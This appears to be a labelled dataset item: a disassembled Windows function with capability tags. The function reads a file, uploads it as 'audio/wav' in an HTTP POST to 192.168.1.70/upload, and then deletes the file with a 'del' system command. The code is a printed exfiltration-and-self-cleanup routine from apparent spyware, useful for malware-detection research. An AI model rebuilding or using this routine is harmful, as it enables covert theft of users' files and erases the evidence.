Function at 0x4032cc
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Execute command
Initialize winsock library
Resolve dns
Self delete
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x3e4
lea eax, [ebp - 0x338]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call sym._WSAStartup_8
sub esp, 8
test eax, eax
setne al
test al, al
je 0x403327
mov dword [esp + 4], str.WSAStartup_failed
mov dword [esp], sym.imp.libstdc_6.dll_std::cerr
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], sym.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call sym.std::ostream::operator___std::ostream____std::ostream__
sub esp, 4
mov ebx, 1
jmp 0x403b08
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._socket_12
sub esp, 0xc
mov dword [ebp - 0x10], eax
mov dword [esp], str.192.168.1.70
call sym._gethostbyname_4
sub esp, 4
mov dword [ebp - 0x14], eax
mov dword [esp], 0x50
call sym._htons_4
sub esp, 4
mov word [ebp - 0x346], ax
mov word [ebp - 0x348], 2
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x344], eax
mov dword [esp + 4], str.Connecting...
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], sym.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call sym.std::ostream::operator___std::ostream____std::ostream__
sub esp, 4
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x348]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._connect_12
sub esp, 0xc
test eax, eax
setne al
test al, al
je 0x403407
mov dword [esp + 4], str.Could_not_connect
mov dword [esp], sym.imp.libstdc_6.dll_std::cerr
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], sym.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call sym.std::ostream::operator___std::ostream____std::ostream__
sub esp, 4
mov ebx, 1
jmp 0x403b08
mov dword [esp + 4], str.Connected
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], sym.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call sym.std::ostream::operator___std::ostream____std::ostream__
sub esp, 4
lea eax, [ebp - 0x354]
mov ecx, eax
call fcn.0040dda8
lea eax, [ebp - 0x360]
mov ecx, eax
call fcn.0040dda8
lea eax, [ebp - 0x378]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x1a8]
mov edx, dword [ebp + 8]
mov dword [esp], edx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
sub esp, 4
lea eax, [ebp - 0x378]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1a8]
mov dword [esp], eax
call sym.getFileContent_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea eax, [ebp - 0x1a8]
mov ecx, eax
call fcn.00404ad4
lea eax, [ebp - 0x175]
mov ecx, eax
call fcn.00404bd4
lea eax, [ebp - 0x190]
lea edx, [ebp - 0x175]
mov dword [esp + 4], edx
mov dword [esp], str.__my_boundary_r_n
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x360]
lea edx, [ebp - 0x190]
mov dword [esp], edx
mov ecx, eax
call sym.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______::push_back_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
sub esp, 4
lea eax, [ebp - 0x190]
mov ecx, eax
call fcn.00404ad4
lea eax, [ebp - 0x175]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x15c]
mov edx, dword [ebp + 8]
mov dword [esp + 8], edx
mov dword [esp + 4], str.Content_Disposition:_form_data__name_archiveWWW___filename_
mov dword [esp], eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x174]
mov dword [esp + 8], 0x410586
lea edx, [ebp - 0x15c]
mov dword [esp + 4], edx
mov dword [esp], eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea eax, [ebp - 0x360]
lea edx, [ebp - 0x174]
mov dword [esp], edx
mov ecx, eax
call sym.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______::push_back_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
sub esp, 4
lea eax, [ebp - 0x174]
mov ecx, eax
call fcn.00404ad4
lea eax, [ebp - 0x15c]
mov ecx, eax
call fcn.00404ad4
lea eax, [ebp - 0x129]
mov ecx, eax
call fcn.00404bd4
lea eax, [ebp - 0x144]
lea edx, [ebp - 0x129]
mov dword [esp + 4], edx
mov dword [esp], str.Content_Type:_audio_wav_r_n_r_n
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x360]
lea edx, [ebp - 0x144]
mov dword [esp], edx
mov ecx, eax
call sym.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______::push_back_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
sub esp, 4
lea eax, [ebp - 0x144]
mov ecx, eax
call fcn.00404ad4
lea eax, [ebp - 0x129]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x360]
lea edx, [ebp - 0x378]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.push_back_std::__cxx11::basic_string_char__std::char_tra
sub esp, 4
lea eax, [ebp - 0x10d]
mov ecx, eax
call fcn.00404bd4
lea eax, [ebp - 0x128]
lea edx, [ebp - 0x10d]
mov dword [esp + 4], edx
mov dword [esp], str._r_n__my_boundary___r_n
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x360]
lea edx, [ebp - 0x128]
mov dword [esp], edx
mov ecx, eax
call sym.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______::push_back_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
sub esp, 4
lea eax, [ebp - 0x128]
mov ecx, eax
call fcn.00404ad4
lea eax, [ebp - 0x10d]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x360]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov ecx, eax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.begin__
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x18]
mov ecx, eax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.end__
mov dword [ebp - 0x398], eax
lea eax, [ebp - 0x398]
mov dword [esp + 4], eax
lea eax, [ebp - 0x394]
mov dword [esp], eax
call sym.__ZN9__gnu_cxxneIPNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESt6vectorIS6_SaIS6_EEEEbRKNS_17__normal_iteratorIT_T0_EE
test al, al
je 0x4036d4
lea eax, [ebp - 0x394]
mov ecx, eax
call sym.__gnu_cxx::__normal_iterator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________::operator___const
mov edx, eax
lea eax, [ebp - 0x390]
mov dword [esp], edx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
sub esp, 4
lea eax, [ebp - 0x390]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::size___const
mov edx, eax
mov eax, dword [ebp - 0xc]
add eax, edx
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x390]
mov ecx, eax
call fcn.00404ad4
lea eax, [ebp - 0x394]
mov ecx, eax
call sym.__gnu_cxx::__normal_iterator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________::operator__
jmp 0x403663
lea eax, [ebp - 0xf1]
mov ecx, eax
call fcn.00404bd4
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0xf1]
mov dword [esp + 4], edx
mov dword [esp], str.POST__upload_HTTP_1.1_r_n
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x354]
lea edx, [ebp - 0x10c]
mov dword [esp], edx
mov ecx, eax
call sym.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______::push_back_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
sub esp, 4
lea eax, [ebp - 0x10c]
mov ecx, eax
call fcn.00404ad4
lea eax, [ebp - 0xf1]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0xd5]
mov ecx, eax
call fcn.00404bd4
lea eax, [ebp - 0xf0]
lea edx, [ebp - 0xd5]
mov dword [esp + 4], edx
mov dword [esp], str.Host:_127.0.0.1_r_n
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x354]
lea edx, [ebp - 0xf0]
mov dword [esp], edx
mov ecx, eax
call sym.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______::push_back_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
sub esp, 4
lea eax, [ebp - 0xf0]
mov ecx, eax
call fcn.00404ad4
lea eax, [ebp - 0xd5]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0xb9]
mov ecx, eax
call fcn.00404bd4
lea eax, [ebp - 0xd4]
lea edx, [ebp - 0xb9]
mov dword [esp + 4], edx
mov dword [esp], str.Content_Type:_multipart_form_data__boundarymy_boundary_r_n
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x354]
lea edx, [ebp - 0xd4]
mov dword [esp], edx
mov ecx, eax
call sym.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______::push_back_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
sub esp, 4
lea eax, [ebp - 0xd4]
mov ecx, eax
call fcn.00404ad4
lea eax, [ebp - 0xb9]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x88]
mov edx, dword [ebp - 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
call method.std::__cxx11.to_string_int_
lea eax, [ebp - 0x55]
mov ecx, eax
call fcn.00404bd4
lea eax, [ebp - 0x70]
lea edx, [ebp - 0x55]
mov dword [esp + 4], edx
mov dword [esp], str.Content_Length:
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0xa0]
lea edx, [ebp - 0x88]
mov dword [esp + 8], edx
lea edx, [ebp - 0x70]
mov dword [esp + 4], edx
mov dword [esp], eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea eax, [ebp - 0xb8]
mov dword [esp + 8], 0x41062f
lea edx, [ebp - 0xa0]
mov dword [esp + 4], edx
mov dword [esp], eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea eax, [ebp - 0x354]
lea edx, [ebp - 0xb8]
mov dword [esp], edx
mov ecx, eax
call sym.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______::push_back_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
sub esp, 4
lea eax, [ebp - 0xb8]
mov ecx, eax
call fcn.00404ad4
lea eax, [ebp - 0xa0]
mov ecx, eax
call fcn.00404ad4
lea eax, [ebp - 0x70]
mov ecx, eax
call fcn.00404ad4
lea eax, [ebp - 0x55]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x88]
mov ecx, eax
call fcn.00404ad4
lea eax, [ebp - 0x39]
mov ecx, eax
call fcn.00404bd4
lea eax, [ebp - 0x54]
lea edx, [ebp - 0x39]
mov dword [esp + 4], edx
mov dword [esp], str.Connection:_close_r_n_r_n
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x354]
lea edx, [ebp - 0x54]
mov dword [esp], edx
mov ecx, eax
call sym.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______::push_back_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
sub esp, 4
lea eax, [ebp - 0x54]
mov ecx, eax
call fcn.00404ad4
lea eax, [ebp - 0x39]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x354]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov ecx, eax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.begin__
mov dword [ebp - 0x3b4], eax
mov eax, dword [ebp - 0x1c]
mov ecx, eax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.end__
mov dword [ebp - 0x3b8], eax
lea eax, [ebp - 0x3b8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x3b4]
mov dword [esp], eax
call sym.__ZN9__gnu_cxxneIPNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESt6vectorIS6_SaIS6_EEEEbRKNS_17__normal_iteratorIT_T0_EE
test al, al
je 0x4039d3
lea eax, [ebp - 0x3b4]
mov ecx, eax
call sym.__gnu_cxx::__normal_iterator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________::operator___const
mov edx, eax
lea eax, [ebp - 0x3b0]
mov dword [esp], edx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
sub esp, 4
lea eax, [ebp - 0x3b0]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::size___const
mov ebx, eax
lea eax, [ebp - 0x3b0]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov dword [esp + 0xc], 0
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
lea eax, [ebp - 0x3b0]
mov ecx, eax
call fcn.00404ad4
lea eax, [ebp - 0x3b4]
mov ecx, eax
call sym.__gnu_cxx::__normal_iterator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________::operator__
jmp 0x40393c
lea eax, [ebp - 0x360]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov ecx, eax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.begin__
mov dword [ebp - 0x3d4], eax
mov eax, dword [ebp - 0x20]
mov ecx, eax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.end__
mov dword [ebp - 0x3d8], eax
lea eax, [ebp - 0x3d8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x3d4]
mov dword [esp], eax
call sym.__ZN9__gnu_cxxneIPNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEESt6vectorIS6_SaIS6_EEEEbRKNS_17__normal_iteratorIT_T0_EE
test al, al
je 0x403aa6
lea eax, [ebp - 0x3d4]
mov ecx, eax
call sym.__gnu_cxx::__normal_iterator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________::operator___const
mov edx, eax
lea eax, [ebp - 0x3d0]
mov dword [esp], edx
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
sub esp, 4
lea eax, [ebp - 0x3d0]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::size___const
mov ebx, eax
lea eax, [ebp - 0x3d0]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov dword [esp + 0xc], 0
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
mov dword [esp], 0xa
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x3d0]
mov ecx, eax
call fcn.00404ad4
lea eax, [ebp - 0x3d4]
mov ecx, eax
call sym.__gnu_cxx::__normal_iterator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_________::operator__
jmp 0x4039fc
lea eax, [ebp - 0x38]
mov edx, dword [ebp + 8]
mov dword [esp + 8], edx
mov dword [esp + 4], str.del
mov dword [esp], eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x38]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov dword [esp], eax
call sym._system
lea eax, [ebp - 0x38]
mov ecx, eax
call fcn.00404ad4
mov ebx, 0
lea eax, [ebp - 0x378]
mov ecx, eax
call fcn.00404ad4
lea eax, [ebp - 0x360]
mov ecx, eax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.vector__
lea eax, [ebp - 0x354]
mov ecx, eax
call method.std::vector_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::allocator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_______.vector__
mov eax, ebx
jmp 0x403ce2
mov ebx, dword [ebp - 4]
leave
ret